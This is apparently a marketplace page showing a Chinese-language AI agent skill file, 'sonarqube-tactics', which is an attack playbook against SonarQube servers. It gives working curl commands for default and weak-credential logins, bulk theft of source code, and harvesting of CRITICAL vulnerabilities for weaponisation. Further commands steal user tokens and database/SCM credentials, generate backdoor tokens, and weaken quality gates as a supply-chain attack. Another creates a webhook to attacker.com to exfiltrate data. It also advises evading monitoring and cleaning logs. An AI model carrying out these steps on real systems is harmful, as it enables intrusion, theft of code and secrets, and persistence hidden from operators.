Skip to main content

sonarqube-tactics

SonarQube 代码审计平台攻击。当发现目标运行 SonarQube 实例(默认 9000 端口)、默认凭据 admin/admin 未修改、或需要从 SonarQube 窃取项目源代码和漏洞信息时使用。覆盖默认凭据攻击、项目源代码窃取、漏洞/Issue 枚举(CRITICAL 优先)、用户凭据与 Token 窃取、Quality Gate 绕过、配置文件提取(数据库/SCM 凭据)、Webhook 滥用、插件分析、热点与度量数据导出

Source facts

Repository
wgpsec/AboutSecurity
Last source activity
April 24, 2026 at 01:46
Detected SKILL.md language
Chinese
Stars
1,838
Forks
257

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

File Explorer
2 files

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
sonarqube-tactics
description
SonarQube 代码审计平台攻击。当发现目标运行 SonarQube 实例(默认 9000 端口)、默认凭据 admin/admin 未修改、或需要从 SonarQube 窃取项目源代码和漏洞信息时使用。覆盖默认凭据攻击、项目源代码窃取、漏洞/Issue 枚举(CRITICAL 优先)、用户凭据与 Token 窃取、Quality Gate 绕过、配置文件提取(数据库/SCM 凭据)、Webhook 滥用、插件分析、热点与度量数据导出
metadata
{"tags":"sonarqube,9000,代码审计,source-code,quality-gate,webhook,token,admin,漏洞扫描,devops","category":"postexploit"}
# SonarQube 代码审计平台攻击 SonarQube 是 DevSecOps 体系中的核心代码质量平台,默认监听 9000 端口,出厂凭据 admin/admin 常被忽略。一旦被攻破,攻击者可直接获取全部项目源代码、已知漏洞清单和内部凭据——相当于拿到整个研发体系的安全蓝图。 ## ⛔ 深入参考(必读) - 完整 API 调用与利用命令 → 读 [references/attack-techniques.md](references/attack-techniques.md) --- ## Phase 1: 服务发现与版本识别 ### 1.1 Nmap 扫描 ```bash # SonarQube 默认端口探测 nmap -sV -p 9000 TARGET # HTTP 标题探测 nmap -p 9000 --script http-title TARGET ``` ### 1.2 版本确认 ```bash # 获取 SonarQube 版本(无需认证) curl -s http://TARGET:9000/api/server/version # 系统状态(无需认证) curl -s http://TARGET:9000/api/system/status | jq . ``` **关键判断**: - 返回版本号(如 `9.9.0.12345`) → 实例存活,进入 Phase 2 - 返回 HTML 页面 → 可能有反向代理,检查 `/api/server/version` 路径 - 版本 < 8.9 → 可能存在更多未修复的已知漏洞 --- ## Phase 2: 默认凭据检测 ### 2.1 默认凭据尝试 ```bash # 出厂默认: admin/admin curl -s -u admin:admin "http://TARGET:9000/api/authentication/validate" | jq . # 返回 {"valid":true} 即登录成功 # 常见弱凭据 for creds in "admin:admin" "admin:sonarqube" "admin:password" "admin:admin123"; do echo "Testing $creds" result=$(curl -s -u "$creds" "http://TARGET:9000/api/authentication/validate") echo "$creds -> $result" done ``` ### 2.2 Token 认证测试 ```bash # SonarQube Token 作为用户名,密码留空 curl -s -u "squ_xxxxxxxxxxxx:" "http://TARGET:9000/api/authentication/validate" ``` **关键判断**: - `{"valid":true}` → 凭据有效,进入 Phase 3 决策树 - `{"valid":false}` → 凭据无效,尝试其他弱口令组合 - 401 Unauthorized → 需认证,尝试 Token 或爆破 --- ## Phase 3: 攻击决策树 ``` 凭据有效? ├─ 管理员权限 → 全攻击面 │ ├─ 项目源代码窃取 (Phase 4) │ ├─ 漏洞信息武器化 (Phase 5) │ ├─ 用户枚举 + Token 窃取 → 横向移动 │ ├─ Quality Gate 绕过 → 供应链攻击 │ ├─ 配置提取 → 数据库/SCM 凭据 │ ├─ Webhook 创建 → 数据外泄通道 │ └─ 插件分析 → LDAP/SAML 凭据 ├─ 普通用户权限 │ ├─ 可见项目源代码窃取 (Phase 4) │ ├─ 可见项目漏洞枚举 (Phase 5) │ └─ 个人 Token 生成 → 持久化访问 └─ 无认证(公共实例 / Force Authentication = false) ├─ 公开项目源代码窃取 (Phase 4) └─ 公开项目漏洞枚举 (Phase 5) ``` **前置信息收集**: ```bash # 确认当前用户权限 curl -s -u admin:admin "http://TARGET:9000/api/users/current" | jq . # 检查是否需要认证(sonar.forceAuthentication) curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication" \ -u admin:admin | jq . # 列出所有项目(评估攻击面规模) curl -s -u admin:admin \ "http://TARGET:9000/api/projects/search?ps=500" | jq '.paging.total' ``` --- ## Phase 4: 源代码窃取速查 ### 4.1 项目与组件枚举 ```bash # 列出所有项目 key curl -s -u admin:admin \ "http://TARGET:9000/api/projects/search?ps=500" | \ jq -r '.components[].key' # 获取项目文件树 curl -s -u admin:admin \ "http://TARGET:9000/api/components/tree?component=PROJECT_KEY&ps=500&qualifiers=FIL" | \ jq -r '.components[].key' ``` ### 4.2 源码下载 ```bash # 按文件下载源码 curl -s -u admin:admin \ "http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/App.java" \ -o App.java # 带行号的源码查看 curl -s -u admin:admin \ "http://TARGET:9000/api/sources/lines?key=PROJECT_KEY:pom.xml&from=1&to=500" | \ jq -r '.sources[].line + ": " + .sources[].code' ``` ### 4.3 批量下载脚本 ```bash # 枚举所有文件并逐一下载 PROJECT="PROJECT_KEY" for file in $(curl -s -u admin:admin \ "http://TARGET:9000/api/components/tree?component=$PROJECT&ps=500&qualifiers=FIL" | \ jq -r '.components[].key'); do mkdir -p "$(dirname "/tmp/sonar-dump/$file")" curl -s -u admin:admin \ "http://TARGET:9000/api/sources/raw?key=$file" \ -o "/tmp/sonar-dump/$file" done ``` → 更多源代码窃取技巧 → 读 [references/attack-techniques.md](references/attack-techniques.md) --- ## Phase 5: 漏洞信息武器化速查 ### 5.1 CRITICAL 漏洞优先枚举 ```bash # 所有 CRITICAL 级别漏洞(直接可利用) curl -s -u admin:admin \ "http://TARGET:9000/api/issues/search?types=VULNERABILITY&severities=CRITICAL&ps=500" | \ jq '.issues[] | {rule: .rule, message: .message, component: .component, line: .line}' # 搜索含敏感关键词的 Issue curl -s -u admin:admin \ "http://TARGET:9000/api/issues/search?ps=500" | \ jq '.issues[] | select(.message | test("password|secret|token|credential|hardcoded"; "i"))' ``` ### 5.2 安全热点枚举 ```bash # Security Hotspots(需人工审查的安全点) curl -s -u admin:admin \ "http://TARGET:9000/api/hotspots/search?projectKey=PROJECT_KEY&ps=500" | \ jq '.hotspots[] | {key: .key, message: .message, component: .component, vulnerabilityProbability: .vulnerabilityProbability}' ``` ### 5.3 度量数据导出 ```bash # 项目安全度量 curl -s -u admin:admin \ "http://TARGET:9000/api/measures/component?component=PROJECT_KEY&metricKeys=bugs,vulnerabilities,code_smells,security_hotspots,coverage" | \ jq '.component.measures[]' ``` → 完整漏洞枚举与武器化方法 → 读 [references/attack-techniques.md](references/attack-techniques.md) --- ## Phase 6: 用户凭据与 Token 窃取 ```bash # 枚举所有用户 curl -s -u admin:admin \ "http://TARGET:9000/api/users/search?ps=500" | \ jq '.users[] | {login: .login, name: .name, email: .email, groups: .groups}' # 查看用户 Token(需管理员) curl -s -u admin:admin \ "http://TARGET:9000/api/user_tokens/search?login=USERNAME" | \ jq '.userTokens[]' # 为目标用户生成新 Token(持久化后门) curl -s -X POST -u admin:admin \ "http://TARGET:9000/api/user_tokens/generate" \ -d "name=backup-token&login=USERNAME" | jq . ``` --- ## Phase 7: 配置与凭据提取 ```bash # 导出全局配置(含数据库/SCM 凭据) curl -s -u admin:admin \ "http://TARGET:9000/api/settings/values" | \ jq '.settings[] | select(.key | test("password|token|secret|jdbc|scm|ldap|smtp"; "i"))' # 数据库连接信息 curl -s -u admin:admin \ "http://TARGET:9000/api/settings/values?keys=sonar.jdbc.url,sonar.jdbc.username" | jq . # ALM(代码托管平台)集成配置 curl -s -u admin:admin \ "http://TARGET:9000/api/settings/values" | \ jq '.settings[] | select(.key | test("github|gitlab|bitbucket|azure"; "i"))' ``` --- ## Phase 8: Quality Gate 绕过与 Webhook 滥用 ### 8.1 Quality Gate 绕过 ```bash # 列出所有 Quality Gate curl -s -u admin:admin \ "http://TARGET:9000/api/qualitygates/list" | jq '.qualitygates[]' # 创建宽松 Quality Gate(供应链攻击) curl -s -X POST -u admin:admin \ "http://TARGET:9000/api/qualitygates/create" -d "name=Permissive" # 将项目关联到宽松 Gate curl -s -X POST -u admin:admin \ "http://TARGET:9000/api/qualitygates/select" \ -d "gateId=GATE_ID&projectKey=PROJECT_KEY" ``` ### 8.2 Webhook 滥用 ```bash # 创建 Webhook(数据外泄通道) curl -s -X POST -u admin:admin \ "http://TARGET:9000/api/webhooks/create" \ -d "name=notify&url=https://attacker.com/hook&project=PROJECT_KEY" # 列出已有 Webhook curl -s -u admin:admin \ "http://TARGET:9000/api/webhooks/list?project=PROJECT_KEY" | jq '.webhooks[]' ``` → 读 [references/attack-techniques.md](references/attack-techniques.md) 获取插件分析与批量导出技术 --- ## 工具速查 | 工具 | 用途 | |------|------| | curl + jq | SonarQube REST API 交互的核心组合 | | nmap | 端口发现与服务版本探测 | | sonarqube-scanner | 官方扫描器,可用于理解项目分析流程 | | hydra | Web 表单凭据爆破 | | nuclei | SonarQube 默认凭据与已知漏洞模板扫描 | --- ## 注意事项 - SonarQube API 默认分页,`ps` 参数最大 500,超过需用 `p` 参数翻页遍历 - `/api/sources/raw` 按文件返回源码,大项目需脚本批量下载 - Token 生成后明文仅显示一次;已有 Token 只能看到名称和创建时间,无法恢复明文 - Quality Gate 修改会影响 CI/CD 流水线,可能被运维监控发现 - Webhook 创建后每次项目分析完成会触发回调,注意控制回调频率避免暴露 - 配置 API 中部分敏感字段(如密码)可能被遮蔽显示为 `*****`,需结合其他手段获取 - 操作日志可通过 `/api/ce/activity` 查看,注意清理或控制操作频率
View on GitHub